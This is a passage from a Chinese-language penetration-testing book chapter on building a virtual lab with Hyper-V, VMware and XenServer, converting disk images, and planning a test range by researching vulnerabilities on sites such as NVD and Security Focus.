Hyper-V 有两个主要要求。第一个要求是操作系统必须是 64 位。经常被忽视的第二个要求是机器中处理器的功能。Hyper-V 技术要求芯片支持二级地址转换SLAT)。要在服务器以外的平台上运行 Hyper-V,您需要具备以下条件之一:

  • Windows 8 专业版

  • Windows 8 企业版

一旦您选择了您的平台,您可以将其添加为一个功能(如果您使用的是其中一个服务器),或者如果您选择了 Windows 8 平台之一,那么您可以从www.microsoft.com/en-us/download/details.aspx?id=36188下载 Hyper-V。微软将非服务器产品的 Hyper-V 版本称为客户端 Hyper-V。

无论平台如何,安装和配置都遵循相同的顺序。现在您有了 Hyper-V,我们将创建一个虚拟机,以便您可以通过创建一个虚拟机的过程来进行工作。使用 Hyper-V,我们必须设置一个网络,我们将连接到该网络。我们可以在开始时设置这个网络,也可以在创建虚拟机之后设置它。对于我们的目的,我们将在开始虚拟机创建过程之前创建网络。在基本架构中,我们需要两个网络,一个连接到外部世界(例如,互联网),第二个网络连接到内部机器。为简单起见,我们将它们称为ExternalNetInternalNet

你需要做的第一件事是为 DHCP 服务器定义一个192.168.177.0/24的 DHCP 范围。这是用于外部访问的网络,如果你要使用这台机器,实验室需要设置成这样。如果你使用的是服务器平台,设置网络的步骤如下:

  1. 导航到开始 | 管理工具 | Hyper-V 管理器

  2. 在 Hyper-V 的右窗格上点击虚拟网络管理器虚拟网络管理器窗口将出现。

  3. 在左窗格上选择新建虚拟网络,并选择外部作为网络类型,然后点击添加。如下面的屏幕截图所示:Hyper-V

创建 InternalNet 的过程是相同的,所以我们不会在这里重复。我们将按照使用 Hyper-V 创建虚拟机的步骤,直到成功启动,然后我们将继续进行下一章。

你将需要一个 ISO 镜像,如果你有一个想要使用的,那就很好。我们将使用 Offensive Security Kali Linux 的流行渗透测试框架。你可以从www.kali.org/downloads/下载 ISO 镜像。一旦你打开这个链接,选择你想要使用的版本并下载它。一旦你下载了它,启动 Hyper-V。如果你使用的是服务器平台,步骤如下:

  1. 导航到开始 | 管理工具 | Hyper-V 管理器

  2. 当程序打开时,导航到操作 | 新建 | 虚拟机,当新的虚拟机向导打开时,点击下一步

  3. 为虚拟机输入一个名称,并点击下一步。在内存部分,输入你可以输入的最大 RAM,至少应该是 1024 KB。Kali 需要至少 1GB 的内存才能有效运行。一旦你输入了 RAM,点击下一步

  4. 这将带出网络连接选择;点击未连接,然后点击下一步两次。

  5. 在安装选项窗口中,选择单选按钮从引导 CD/DVD-ROM 安装操作系统,然后选择镜像文件(ISO),并浏览到 Kali 镜像。参考下面的屏幕截图:Hyper-V

这是你参考的安装选项屏幕

  1. 一旦你导航到 ISO 镜像,点击下一步。验证你的设置是否正确,然后点击完成

  2. 现在我们想要配置我们的网络适配器。在 Hyper-V 环境中,这可能是一个棘手的过程;所以,当你处理不是来自 Windows 家族的机器时,最安全的方法是选择传统的网卡。右键单击你创建的 Kali 虚拟机,选择传统网络适配器。然后,点击添加,如下面的屏幕截图所示:Hyper-V

  3. 现在我们已经选择了我们的网络适配器类型,我们必须将其连接到我们的网络。在下拉窗口中,选择外部网络,点击应用,然后点击确定

  4. 一个新的虚拟网络将出现在窗口的左侧。选择它,然后在窗口的右侧窗格中输入名称为ExternalNet。确保选择了External单选按钮,点击计算机的网络适配器,然后点击应用,如下面的屏幕截图所示:Hyper-V

  5. 如果你收到类似下一个屏幕截图的警告消息,点击以清除它。这只是为了让你知道你可能会失去连接,并且必须重新输入静态网络配置数据,如果你失去了网络连接。

  6. 如果你不想再被警告打扰,那么在点击之前选择请不要再次询问我复选框,如下面的屏幕截图所示:Hyper-V

  7. 我们现在准备启动我们的虚拟机。右键单击 Kali 虚拟机,然后选择启动。然后,再次右键单击并选择连接。您的虚拟机应该启动,并且您可以输入startx,这将启动环境。在这一点上,您可以自行决定要探索这个虚拟机多少。我们将继续本章,以便我们可以了解不同的虚拟化选项,并继续朝着更大更美好的事物前进。

vSphere Hypervisor

这是商业实体的免费版本,这是您应该考虑用于实验室环境的东西。有一些版本可以在笔记本电脑上运行,并将其作为移动实验室环境的一部分,但在我看来,这不是充分利用这种类型 1 虚拟化解决方案的方式。

如前所述,类型 1 解决方案使 Hypervisor 运行在系统的实际硬件上。不需要模拟例程或与操作系统的交互;这是一个纯粹的裸机环境,在大多数情况下等同于原始动力。

虽然设置非常容易进行,大多数人可以在没有帮助的情况下完成,但 VMware 网站提供了出色的资源,以帮助您进行安装。您可以在以下网站上查看这些资源,包括如何执行设置的视频:

www.vmware.com/products/vsphere-hypervisor/gettingstarted.html

当您访问该网站时,您会发现 VMware 团队为您提供了大量参考资料,以帮助您安装、配置和部署他们的虚拟化解决方案。在这里要提到的最后一件事是网站上列出的硬件要求;其中大多数被认为是建议,最好在将其作为首选解决方案之前测试产品的硬件。这也是为什么我们不建议在移动或笔记本平台上使用该解决方案的另一个原因;在大多数情况下,笔记本电脑没有我们在裸机虚拟解决方案中想要的动力。

商业环境

与免费提供的一样,我们想在本书中讨论一些商业环境。我们将研究类型 1 和类型 2 的虚拟化解决方案。

vSphere

这是与 VMware Hypervisor 讨论的功能的一个非常强大的延续;增加的功能和特性使得投资部署复杂和复杂的虚拟架构非常值得。该工具提供了许多超出免费变体的附加选项。这些选项如下:

  • 跨多个物理主机汇集计算和存储资源

  • 使用 VMware vCenter Server™对多个主机进行集中管理

  • 提供改进的服务水平和运营效率

  • 执行虚拟机的实时迁移

  • 利用自动负载平衡、业务连续性和虚拟机的备份和恢复功能

如您所见,该工具有许多优化选项;但是,除非您正在构建一个复杂和精密的测试实验室,否则该工具超出了我们作为解决方案的需求。如果您发现自己在运行大型全球团队,那么这绝对是一个您应该考虑的选项,如果它在您的预算范围内的话。

VMware Player Plus

截至目前,VMware Player Plus 是 VMware 团队的一个相对较新的产品。我们已经讨论过 VMware Player 工具。这个版本提供了额外的功能。该工具旨在通过允许您使用配置了您的桌面图像的虚拟机来提供托管桌面的能力。这样就不需要向客户或其他组织发送硬件。

VMware Player Plus 的另一个功能是可以用于运行由其他商业 VMware 产品创建的受限制的虚拟机。这意味着您可以对机器进行密码保护,如果用户没有密码,则无法运行该机器。以下是一个受密码保护的机器的示例截图:

VMware Player Plus

在撰写本书时,该工具并不提供试用下载,但您可以从www.vmware.com/products/player/了解更多信息。

XenServer

Citrix 团队开发了一款强大的竞争对手,即 XenServer 解决方案,这在其 XenServer 产品中表现出来。他们声称他们是云和桌面解决方案的领先数据中心平台;此外,根据他们的说法,五大主机云中有四个是由 XenServer 托管的,这确实是一个大胆的说法。该产品可以提供解决方案的一些示例如下:

  • 高度安全和灵活的网络结构

  • 创建和委派权限

  • 高可用性和负载平衡支持

与 vSphere 商业解决方案一样,这并不是我们构建实验室真正需要的东西,但对于那些想要使用除了 VMware 产品之外的东西的人来说,这是一个选择。您可以从www.citrix.com/products/xenserver/how-it-helps.html了解更多信息并进行下载。

VMware Workstation

VMware 团队在虚拟化领域已经有一段时间了,当您使用他们的 Workstation 产品时就会显现出来。对我来说,将 VMware Workstation 与其他大多数设备相对无缝地集成是它脱颖而出的地方。虽然使用 VMware Workstation 是需要付费的,但成本相对较低,并且提供了强大的功能,可以创建非常多样化和复杂的架构。这绝对是我最喜欢的工具,我将在下一章和接下来的章节中继续使用它。正如我所提到的,微软的产品虽然只在市场上短短时间,但确实在不断改进,随着产品的成熟,这将是一场有趣的竞赛。这对我们来说是件好事!作为消费者,我们只会从这些供应商互相竞争中受益。

如前所述,强烈建议您考虑购买该软件。您可以从www.vmware.com/products/workstation/workstation-evaluation下载最新版本的 VMware Workstation。与其他软件版本一样,您必须注册并获取密钥才能启动虚拟机。

下载后,您可以安装该软件,这非常简单。如果您有任何问题,VMware Workstation 用户指南写得很好,是您的绝佳参考。您也可以使用以下链接进行下载:

www.vmware.com/pdf/desktop/ws1001-using.pdf

还有一个大型社区论坛,也是关于该工具的绝佳参考。支持是 VMware 继续在虚拟化的主要领域中领先的另一个原因。安装程序安装并打开后,您应该在屏幕上看到与以下截图类似的显示:

VMware Workstation

正如您在前面的屏幕截图中所看到的,我们有许多选项可供选择。由于我们之前使用过 ISO 映像,我们将继续这种趋势,并添加另一个任务来创建一个虚拟机。为简单起见,我们将使用之前使用过的 ISO Samurai WTF 映像,但您也可以下载您选择的 ISO 映像并从中创建机器。一旦您选择了要使用的 ISO 映像,我们就准备开始安装。要开始使用这个虚拟机,我们将执行以下步骤:

  1. 点击创建新的虚拟机。这将启动新的虚拟机向导。接受典型的默认设置,然后点击下一步

  2. 在下一个窗口中,选择安装程序光盘映像文件(iso)的单选按钮,并浏览到 ISO 文件的位置。然后,点击下一步,如下图所示:VMware Workstation

在上一个屏幕截图中,您可能注意到操作系统没有被自动检测到;因此,我们将不得不手动输入详细信息。如果它被检测到,向导在大部分情况下将会在用户不进行交互的情况下执行安装。

  1. 在客户操作系统窗口中,选择Linux,在下拉菜单中,点击其他 Linux 2.6.x kernel。一旦您做出选择,点击下一步。接受默认设置,然后点击下一步

  2. 指定磁盘容量屏幕上,阅读有关分割磁盘的优缺点的信息。如果您希望更改默认设置,可以这样做,但对于大多数人来说,默认设置是可以接受的,除非您打算拥有大型机器。

  3. 一旦您做出决定,点击下一步。这应该是最后一个屏幕;花点时间审查信息。然后,点击完成并创建您的虚拟机。您应该看到您创建的机器和机器配置信息,如下图所示:VMware Workstation

  4. 唯一剩下的事情就是启动虚拟机。点击启动此虚拟机,您的机器将启动。

现在,我们将为本书中其他章节中将使用的机器创建一个虚拟机。我们将要使用的机器已经创建并以 VMware VMDK 文件格式作为虚拟机可用。我们将在本章后面更多地介绍虚拟硬盘的不同格式。我们想要从Open Web Application Security GroupOWASP)的www.owasp.org上下载 Broken Web Application Project 虚拟机。这个虚拟机由 Mandiant 赞助,是一个练习 Web 应用程序测试的绝佳教程。您可以从sourceforge.net/projects/owaspbwa/files/下载 VM。

一旦 VM 下载完成,将 VM 提取到您机器上的一个文件夹。文件提取完成后,我们需要启动 VMware Workstation 并开始访问过程。以下是需要执行的步骤:

  1. 点击打开虚拟机。导航到您提取文件的文件夹,并找到 Broken Web Application 项目 VM 的配置文件。

  2. 一旦您找到文件,选择它并点击打开以打开文件。这将打开 VM,您应该在配置屏幕上,如下图所示:VMware Workstation

正如您在前面的屏幕截图中所看到的,VM 配置为在 NAT 接口上启动,并且我们将在启动 VM 时使用这个接口。在本节结束时,我们将看一下在 VM 环境中这个 NAT 接口的含义。

  1. 现在我们要启动这台机器;点击启动此虚拟机,您的机器将启动。

  2. 一旦机器启动,您将看到用于访问该机器的登录信息。我们可以在本地登录到机器,但实际上没有理由这样做。如果您想要检查机器或四处浏览,欢迎这样做,但出于我们的目的,我们将通过网络访问它。这是访问它的首选方式,因为它为我们提供了 VM 内的所有不同工具的图形用户界面。启动后显示状态的 VM 屏幕如下截图所示:VMware Workstation

我们想要的信息是分配给 VM 的 IP 地址,以便我们可以访问并检查它!打开您选择的浏览器,输入显示的 IP 地址,并打开 Broken Web Application Project VM 的 Web 界面。向您展示的网页示例如下截图所示:

VMware Workstation

正如截图所示,这个 VM 分发中有许多工具,这是任何测试人员都可以从中受益的。这里包含的教程和应用程序允许用户练习他们的技能和在不同技能水平上设置的挑战。鼓励您在这里花费大量时间,并经常回来。我们将在整本书中根据情况使用它。再次感谢 Mandiant 的赞助,VM 增加了许多额外的挑战。阅读本书的一些人可能熟悉 OWASP 的优秀教程 Web Goat。这个项目只是这个教程的延伸,它还添加了 Irongeek 工具 Mutillidae。您可以在www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10上阅读更多关于 Mutillidae 的信息,甚至观看一些信息视频在www.irongeek.com

在我们继续本章之前,我们还有一个主题要讨论;那就是 VMware Workstation 内部网络的功能。这是我支付并继续支付 VMware Workstation 的主要原因之一。在您的 VMware Workstation 中,导航至编辑 | 虚拟网络编辑器。窗口打开后,您将看到 VMware 中配置的当前交换机。默认情况下,VMware 配置了三个虚拟交换机,它们是用于桥接接口的 Vmnet0,用于主机接口的 Vmnet1,以及用于 NAT 接口的 Vmnet8。我们不会在这里详细介绍,因为有很多来源可以让我们了解更多关于网络以及它们的含义,其中最好的之一就是我们在本章前面提到的 VMware Workstation 用户指南。VMware Workstation 的强大之处在于我们可以拥有多达 10 个虚拟交换机!这意味着我们可以有效地构建 10 个不同的网络段。VMware 网络配置允许我们设置所需的 IP 地址范围,并提供 DHCP 服务器。在大多数情况下,10 个已经足够了,而且在 10x 及更高版本中,我们现在可以在 Windows 和 Linux 主机上分别拥有 20 和 255 个网络段。这是非常多的网络!正是这一点以及其他因素使得它成为我们的首选软件。在构建分层和分段架构时,我们需要交换功能。我的机器上的网络配置示例如下截图所示:

VMware Workstation

在上述截图中,您可以看到在我的机器上,大部分 10 个可能的网络都是可见的。我已经在一段时间内构建了许多复杂的架构,并添加了一个以上的自定义网络。

很可能您已经安装了软件提供的三个默认交换机。如果您想要查看该过程是如何进行的,可以随意添加一个交换机。这使我们能够构建一个真正的分层架构,模拟我们在参与中可能看到的情况。事实上,在测试中很少会出现单一段或扁平架构,尤其是在任何类型的外部测试中。因此,当我们构建和测试高级技术时,我们必须能够提供多层保护,以便我们可以通过或绕过某种方式来实现妥协。

图像转换

最近,我在为一个广泛使用虚拟环境的客户开发实验室时,被要求将虚拟机从 VMware 迁移到 Hyper-V。由于我对 Hyper-V 的经验很少,这是一个具有挑战性的任务,花了三周的时间才完成。满足感是生活中的一部分,当我们接受挑战并克服它们带来的障碍时,就能实现满足感。

此外,在 VMware 中完美运行的一些东西在 Hyper-V 中无法完成;其中一个无法运行的是路由器仿真软件。迁移的主要问题与虚拟硬盘格式有关。Hyper-V 需要 VHD,而 VMware 使用 VMDK 格式作为其虚拟机硬盘。为了克服图像转换的障碍,我在寻找一种可以帮助进行转换的工具。

幸运的是,这样的工具存在,而且是免费的!当您构建虚拟机时,如果您想使用另一个工具,或者更常见的是您有一个与您尝试使用的工具不匹配的格式,那么这个工具就非常适合您!我经常使用的工具是 Starwind Software 提供的 Starwind V2V Converter,可在www.starwindsoftware.com/上获得。

这里需要注意的一点是:根据我的经验,该工具并不完美,但它已经成功将大多数 VMDK 文件转换为 Hyper-V 的 VHD 格式,没有任何问题。唯一在转换过程中出现问题并在 Hyper-V 上运行的操作系统是“FreeBSD”。讽刺的是,版本 9x 之前的 FreeBSD 似乎可以正常工作。

您可以从www.starwindsoftware.com/converter下载该软件。请注意,您需要注册,并且该应用程序在 Windows 上运行。下载软件后,安装并运行程序。这是一个易于使用的工具;您可以通过导航到文件图像来选择要转换的文件。随后,该工具将显示格式输出的选项。以下是一个示例截图:

图像转换

选择输出格式后,转换过程将开始运行,一旦完成,您只需要按照之前涵盖的步骤进行所选工具的操作。正如讨论过的,该工具运行非常好,节省了大量时间,并且可以选择任何您喜欢的平台来构建渗透测试环境。

从物理到虚拟环境的转换

在许多工具中,用于帮助我们创建机器的另一个选项是物理到虚拟功能,有时被称为 P2V 概念;此外,这为我们提供了构建任何机器的能力,运行转换过程以将物理机器转换为虚拟机。这种功能允许您构建自定义的渗透测试平台机器,然后执行转换并将机器带到您在外面的任何地方。我们将讨论几种选项。有一个免费选项,由 VMware 提供,称为 vCenter Converter。使用这个工具,你不仅可以转换物理的 Windows 机器,还可以转换 Linux 机器。要尝试一下并看看它的效果如何,你可以从www.vmware.com/products/converter/下载它。我们还有另一个选项,即使用我们的 VMware Workstation 安装中的功能。这是我们的首选选项。如果你打开软件,你会看到有一个选项可以将物理机器转换为虚拟机,这个选项叫做虚拟化物理机器…。请注意,在 VMware Workstation 中首次选择该选项时,你将需要安装转换器,如下面的截图所示:

从物理到虚拟环境的转换

总结

在本章中,我们讨论了不同类型的虚拟化,其中类型 1,也称为裸机虚拟化,提供了可以直接访问和安装在硬件中的 Hypervisor,而类型 2,在操作系统中安装了 Hypervisor。类型 1 解决方案的优势之一是直接安装在硬件中的 Hypervisor 提供了更好的性能;这种解决方案的缺点是硬件必须与产品的 Hypervisor 集成,并且您必须确保它确实如此。

我们研究了可能的不同开源虚拟化方案,并在多种工具中安装、配置基本设置和创建了虚拟机。我们下载并使用 ISO 镜像来创建我们的虚拟机,并在创建后启动了该机器。此外,我们下载了 OWASP Broken Web Application Project 虚拟机,并使用现有配置来运行该机器。

我们还研究了一些商业虚拟化方案,并在这里解释了为什么我们将从现在开始使用虚拟化产品 VMware Workstation。此外,我们还讨论了 XenServer 和 vSphere 产品的强大功能。

我们面临的挑战之一是使用不同的虚拟化方案来处理旧的和现有的机器,因此我们讨论了 Starwind Software 团队的一个工具,可以用来将 VMDK 转换为 VHD 文件和 VHD 转换为 VMDK 文件,除了一些例外,转换效果非常好。

我们在本章中总结了 P2V 的概念,即物理到虚拟转换,这为我们提供了一种将现有或新的物理机器转换为虚拟机的方法。在下一章中,我们将探讨规划和构建我们的范围的挑战。

第三章:规划一个范围

在本章中,我们将开始规划测试环境所需的过程。我们将讨论搜索和发现要测试的漏洞,并为测试一种漏洞创建实验室环境。我们将讨论以下内容:

  • 规划

  • 识别漏洞

本章将为我们提供一个明确定义的架构,以构建和支持我们必须执行的测试类型。

规划

完成的一个重要步骤是规划;还将讨论我们试图实现的概念以及我们将如何实现它。这是许多人没有花足够时间的领域之一。正如我们在第一章中讨论的那样,介绍渗透测试,我们不能像潜在的攻击者那样花费六到九个月来规划我们的抽象方法。话虽如此,我们可以花费大量时间规划我们想要为我们的高级渗透测试实验室构建的架构。因此,我们将从计划中得到什么开始。我们将讨论的计划包括以下部分。

我们试图实现什么?

我们试图测试一个 Web 应用程序、一个应用程序、一个设备,还是其他什么?这是我们开始确定我们的虚拟化环境将需要什么的地方;此外,我们还确定了我们将如何配置和构建所需的组件。

我们必须在什么时候完成?

这一步是我们定义我们尝试创建的时间框架。在这个领域,有一个明确定义的时间表是很重要的;否则,我们可能会继续建设,而没有设定的结果。虽然一些不一致或未知是过程的一部分,但我们定义时间的越好,我们就会更加高效。这就像目标设定;如果你设定了目标,但从未指定时间框架,那么这就不是一个明确定义的目标。

当您阅读本文时,您可能会想知道目标设置是如何出现在这些页面中的。对于那些好奇的人,我将提供一个例子。在为客户的培训课程开发实验室时,我试图创建和构建一个非常有效的思科路由器仿真能力。由于我没有决定尝试的次数,更重要的是,这项活动的时间框架,导致了三天的徒劳活动。我将在本章后面介绍这一点,并提供如何在本章后面构建您自己的步骤。

课程所需的虚拟平台将是 Hyper-V。我在 VMware 环境中使用了这个解决方案超过五年,但无论我如何努力,在我开始在 Hyper-V 中构建平台时,它都不起作用。我首先尝试使用 Starwind 软件转换我的一个虚拟机 VMDK 文件,但没有成功。网络无法与路由器仿真器通信,也无法与主机通信。因此,简而言之,没有连接性。然后我从头开始构建虚拟机,以为这样可能会起作用,但也没有成功。我花了三天时间,阅读每一篇博客文章、白皮书或任何我能找到的东西。一个更好的计划应该是给它一天的时间,或者限制尝试的次数,但当我开始计划时,我没有给它任何时间表,因此花了我三天的时间。我现在与您分享这一点,希望您不会犯我犯过的同样错误。

量化和跟踪计划的一个好方法是使用时间表或项目工具的形式。有几种可用的方法,但超出了本书的范围。你使用哪种并不重要。如果你像我一样,你可能想使用一个简单的,而不必学习另一个程序。所以,我使用的是 Microsoft Outlook 中的日历。你们中的一些人可能使用 Microsoft Project;那很好,使用适合你的任何工具。我相信大多数人,如果不是全部人,在某个时候都使用过邮件程序,如果邮件程序中有这个功能,那就值得探索一下。

我们来看一个例子。我将任务和事件组件结合在一起使用,所以如果你启动你的 Microsoft Outlook 程序,你可以在菜单的顶部点击新建项目。这将带出创建新项目的菜单。以下是一个示例截图:

我们必须在什么时间之前完成?

在 Outlook 中创建新项目的菜单(裁剪的文本不重要)

我们想创建一个新任务;为此,我们点击任务选项,这将打开一个新菜单,如下截图所示:

我们必须在什么时间之前完成?

单击任务选项后的菜单屏幕(裁剪的文本不重要)

从这一点开始,创建任务并跟踪它们是一个相对简单的过程;此外,你可以随时参考你的任务列表,看看还有哪些任务没有完成。在规划网络架构时,我们鼓励你使用任务和事件。我们将在本书中为你提供逐步的过程来构建你的环境,但当你偏离本书之外时,你可能会遇到像创建路由器仿真这样的挑战。当你遇到这种情况时,你需要计划可能的时间延迟和其他意外情况。你在规划阶段花费的时间越多,你在后期开发阶段遇到的障碍就越少。

识别漏洞

由于我们已经将渗透测试定义为漏洞的验证和确认,这是我们在准备建立渗透测试实验室时的主要关注点之一。我们必须找到可以利用的漏洞,以便在工作范围允许的情况下获取访问权限。你将花费大部分时间在准备阶段,试图找到能够提供我们所需访问权限并且可靠的漏洞。

要记住的重要一点是,所有系统都会有漏洞,但并非所有漏洞都会有利用。很多时候你会发现有漏洞,但你的搜索找不到针对那个漏洞的利用;此外,你可能会找到一个利用,但它对你的目标不起作用。这是因为,正如我们喜欢说的那样,利用并非百分之百。经常情况下,你会做对一切,但利用就是失败!欢迎来到渗透测试的真实世界。

在我们查找漏洞的一些位置信息之前,我们将讨论我们想要了解的潜在漏洞的一些事情,我们将用来利用的漏洞。我们想要了解以下一些,如果不是全部,关于可利用性的方面:

  • 访问向量

我们需要在本地机器上,本地子网上,还是远程从任何位置上?

  • 复杂性

利用是否需要编写代码,将不同组件链接在一起,或者我们必须做一些额外的工作才能成功利用漏洞?

  • 认证

是否需要认证,或者我们可以在没有凭证的情况下利用漏洞?如果需要认证,我们需要做什么来突破认证?我们可以暴力破解吗,字典攻击,或者有默认密码吗?

这只是我们在开始研究脆弱性特征时可能要考虑的一小部分样本。以下屏幕截图显示了使用通用漏洞评分系统CVSS)的示例:

识别漏洞

通用漏洞评分系统参考表(裁剪的文本不重要)

识别漏洞是我们初始阶段的关键部分;我们必须找到漏洞才能进行渗透测试。你们中的一些人可能会认为我们可以随意启动我们选择的漏洞扫描器,然后让扫描器告诉我们那里存在什么漏洞;此外,你们可能会认为你可以让一个利用框架来协助。虽然这一切都是真的,但这不是我们试图实现的范围和重点。记住,我们想要构建渗透测试实验室环境,为此我们需要找到要利用的漏洞;此外,我们需要在进行实际测试之前发现这些漏洞。在这一部分,关键是找到我们想要在实验室架构中测试的漏洞,相应地,我们将记录利用该漏洞和获得访问权限的步骤和要求。我们这样做是为了当我们遇到它时,我们知道会发生什么。

一个微妙但非常重要的概念是,我们可以构建任何可能的环境,但我们必须根据我们想要实现的目标来构建环境。例如,Microsoft Internet Explorer 中存在许多漏洞;其中大多数与内存问题有关,这些被称为Use after Free漏洞。此外,这是一个我们在渗透测试中很可能会遇到的软件。因此,我们迫切需要跟踪和关注 Internet Explorer 上的漏洞,这也是我们对可能遇到的所有软件和硬件采取的方法。

一种常见的方法,也是我们推荐的方法,是跟踪在商业领域非常流行的产品的漏洞。我们已经提到了 Internet Explorer;其他要跟踪的产品包括思科、红帽、甲骨文、Adobe 等等。这就是专业安全测试的力量;我们知道所有这些供应商以及其他许多供应商都可能存在漏洞,所以一旦我们发现任何一个漏洞,我们就可以开始利用它来获得一些形式的访问权限。该过程包括获取漏洞的详细信息,然后构建实验室以测试和实验漏洞。因此,如果我们有一个 Internet Explorer 漏洞,我们将创建一个安装了易受攻击软件的计算机,然后我们将开始系统地利用该漏洞来获得某种形式的访问权限。这里要强调的另一点是,我们并不总是需要运行利用代码或执行某种形式的利用来获得访问权限。通常,我们会发现另一个弱点,比如服务上的默认密码,这将允许我们获得我们需要的访问权限。所有这些将在适当的时候讨论,但现在我们必须研究获取漏洞信息的技术。

漏洞网站

与互联网上的大多数事物一样,漏洞报告站点比我们能够跟踪的要多。因此,建议的方法是选择几个站点,然后通过定期检查来保持一致性。或者,你可以订阅一个服务,它会发送给你定制的漏洞列表。然而,作为一名专业的安全测试人员,我们没有设置可以跟踪的系统、服务和/或网络的奢侈。然而,我们可以维护一个我们可能会遇到的流行软件和系统的概要,但这又是一个试错的过程。我和我的学员们实践的方法是经常访问三到四个站点,并保持一贯的访问;这就是我们跟踪公共领域最新信息的方式。你还应该注意供应商的补丁发布日期,并跟踪它们。为了证明这是多么艰巨的任务,我们将进行一个实验;打开你最喜欢的搜索引擎,搜索漏洞站点。

在 Microsoft 的 Bing 中进行此搜索的示例如下截图:

漏洞站点

在 Microsoft 的 Bing 上搜索漏洞站点(裁剪的文本不重要)

正如前面的截图所示,这些术语有超过 1000 万次点击。现在,正如你们许多人可能已经意识到的那样,我们进行的搜索并不是一个狭窄和精确的搜索;我们可以输入漏洞 + 站点来返回这两个词在结果中的匹配。此外,我们可以使用漏洞站点来使结果精确匹配。我们在这里不会这样做,但这是你可以做的事情,可以得到更精细的结果,并节省一些时间。

当我们审查结果时,我们看到列表的顶部是国家漏洞数据库,这是我们喜欢使用的数据库之一。因此,在浏览器中输入nvd.nist.gov。一旦网站打开,查看漏洞信息;在主页的左上角,点击漏洞

这将带出漏洞的搜索界面;从这里开始,只需要输入你的搜索参数并查看结果。这个搜索页面在以下截图中显示:

漏洞站点

漏洞搜索界面(裁剪的文本不重要)

正如你所看到的,有许多我们可以搜索的内容。另一个功能是搜索特定的时间范围,如果你只是想要最近的列表,这将是有益的。

例如,在关键字搜索栏中输入Adobe,然后点击搜索。这将返回 Adobe 的漏洞,并且由于它是一个流行的程序,总是有攻击者试图利用它。此外,它为我们提供了跨平台利用的能力,这是我们在测试时喜欢看到的另一个特性。

在以下截图中显示了此搜索的示例:

漏洞站点

显示返回 Adobe 漏洞的屏幕(裁剪的文本不重要)

这就是我们喜欢看到的!在前面的截图中,当我们看到 CVSS 严重性时,7 表示它是一个高漏洞,而 10 表示它不能更严重,因为它是最大的严重性。正如你所看到的,在这次搜索时返回了 997 个结果。这是因为 Adobe 是一个频繁的目标,因此继续受到攻击者的攻击。

下一步是进一步研究漏洞,并了解漏洞的特征以及找到利用漏洞的方法。由于这是一种客户端软件类型的漏洞,这意味着我们将不得不进行某种欺骗,让用户访问某个网站或点击某个东西。目前,我们对这个网站的主要意图已经有了了解,我们将继续前往另一个网站。鼓励您随时探索该网站,了解更多信息。

您可能已经注意到我们必须输入信息才能显示漏洞;这可能不太理想,所以我们现在将去查看我们的第一个提供最新漏洞列表的网站。

返回到国家漏洞数据库网站的主页,然后在页面的左侧中间位置找到附加链接;找到并点击US-CERT Vuln notes。这将显示来自 US-CERT 团队的漏洞注释。这方面的一个例子如下截图所示:

漏洞网站

屏幕显示了美国计算机应急响应小组(US-CERT)团队的漏洞注释(裁剪的文本不重要)

我们现在有一个漏洞列表,它为我们提供了一个可以用作参考的时间表。有一个列表使得这个列表成为一个一站式服务;我们可以查看最新信息并继续前进,这是我们从我们选择的前三到四个网站中想要的。此外,我们仍然可以参考更多的网站,但我们使用选择的三到四个网站来获取更新,然后当我们发现感兴趣的内容时,我们可以查看其他网站并了解他们对漏洞的描述。

我们希望能够进一步探索我们的漏洞,所以我们现在将以一个例子来做到这一点。当我们查看上一个屏幕截图中的漏洞清单时,我们看到了一个关于思科的漏洞。由于我们喜欢及时了解这些受欢迎产品的最新信息,其中包括思科,我们将进一步探索。请随意使用您的结果中的漏洞,或者查看我们在 2013 年 11 月 12 日的结果中的思科数据。

当我们点击漏洞后,另一页将打开,显示有关漏洞的额外详细信息。我们看到这是一个输入验证问题,这是我们经常看到的问题。程序员在开发应用程序时没有很好地对其输入进行消毒。漏洞的详细信息示例如下截图所示:

漏洞网站

屏幕显示了漏洞的详细信息(裁剪的文本不重要)

当我们审查漏洞详细信息时,我们可以开始制定我们将如何构建一个测试环境的计划。在某些情况下,我们可能需要额外的硬件。这里的主要观点是理解这个过程,一旦你理解了,你就可以从那里开始。过程不会改变,只有漏洞会改变。

当您审查漏洞的详细信息时,您可能会注意到有一个名为通用弱点枚举CWE)的项目,在这种情况下是CWE-20。这个 CWE 是一个标识符,就像我们喜欢从 Mitre 团队使用的其他标准一样,它可以帮助我们获得有关弱点的额外信息。更重要的是,它为我们提供了一个标准术语来搜索,就像通用漏洞和暴露CVE)编号一样。

如果我们选择漏洞的 CWE 编号,它将为我们提供有关漏洞的额外详细信息。这方面的一个例子如下截图所示:

漏洞网站

屏幕显示了有关漏洞的一些额外详细信息(裁剪的文本不重要)

当您审查信息时,我们的漏洞有许多额外的细节,因此它为我们的规划和测试目的提供了更多的数据。我们想要看的一件事是有一个区域标识了利用的可能性,正如我们从前面的截图中看到的那样,在High漏洞的情况下,这正是我们要找的。再次,有许多网站可供参考,因此您可以使用我们在整本书中展示的网站,或者您可以自行研究。在我们查看这两个网站时,我们没有找到更多有关利用方面的信息;这是我们想要的,因此我们现在将查看提供此信息的网站。

我们将要查看的下一个网站是我们搜索结果返回的第二名的Security Focus网站。打开您选择的浏览器,输入www.securityfocus.com。这将带您到 Security Focus 的主页;以下是此的一个示例截图:

漏洞网站

显示 Security Focus 主页的屏幕(裁剪的文本不重要)

正如前面的截图所示,当我们进行这次搜索时,Mozilla 度过了糟糕的一天。我们喜欢Security Focus网站的一点是他们为我们提供了许多我们认为有用的额外细节,其中之一就是有关利用的信息。选择主页上列出的一个漏洞。Mozilla Firefox/Thunderbird/SeaMonkey JavaScript Engine Multiple Buffer Overflow Vulnerabilities的漏洞示例显示在以下截图中:

漏洞网站

显示 Mozilla Firefox/Thunderbird/SeaMonkey JavaScript Engine Multiple Buffer Overflow Vulnerabilities 的漏洞(裁剪的文本不重要)

当您查看漏洞详细信息时,您会发现有许多我们感兴趣的标签,主要是exploit标签。如果有关于野外利用的信息,这将潜在地为我们提供有关漏洞的可利用性的信息。由于这些漏洞基本上是新的,因此没有任何利用的信息。但它仍然是一个很好的参考,因为它为我们提供了有关漏洞的额外细节。我们可以在我们的测试中使用的 Nagios 漏洞的一个示例显示在以下截图中,以提供有关读取利用信息的参考:

漏洞网站

